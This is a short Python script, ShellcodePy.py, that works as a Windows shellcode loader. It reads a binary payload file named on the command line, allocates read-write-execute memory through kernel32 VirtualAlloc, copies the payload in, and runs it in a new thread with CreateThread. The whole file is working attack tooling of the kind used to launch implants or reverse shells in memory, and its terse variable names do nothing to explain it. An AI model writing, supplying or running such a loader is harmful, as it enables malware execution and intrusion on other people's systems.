ShellcodePy.py

import ctypes as kk
import sys

def O(shl_f):   

    with open(shl_f, 'rb') as f:
        b_x = f.read()
    


    kk.windll.kernel32.VirtualAlloc.restype = kk.c_void_p
    kk.windll.kernel32.CreateThread.argtypes = (
        kk.c_int, kk.c_int, kk.c_void_p, kk.c_int, kk.c_int, kk.POINTER(kk.c_int)
    )

    spc = kk.windll.kernel32.VirtualAlloc(
        kk.c_int(0), kk.c_int(len(b_x)), kk.c_int(0x3000), kk.c_int(0x40)
    )
    bf = (kk.c_char * len(b_x)).from_buffer_copy(b_x)
    kk.windll.kernel32.RtlMoveMemory(kk.c_void_p(spc), bf, kk.c_int(len(b_x)))
    hndl = kk.windll.kernel32.CreateThread(
        kk.c_int(0), kk.c_int(0), kk.c_void_p(spc), kk.c_int(0), kk.c_int(0),
        kk.pointer(kk.c_int(0))
    )
    kk.windll.kernel32.WaitForSingleObject(hndl, kk.c_uint32(0xffffffff))
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python ShellcodePy.py shellcode.bin/or shellcode file")
    else:
        shl_f = sys.argv[1]
        O(shl_f)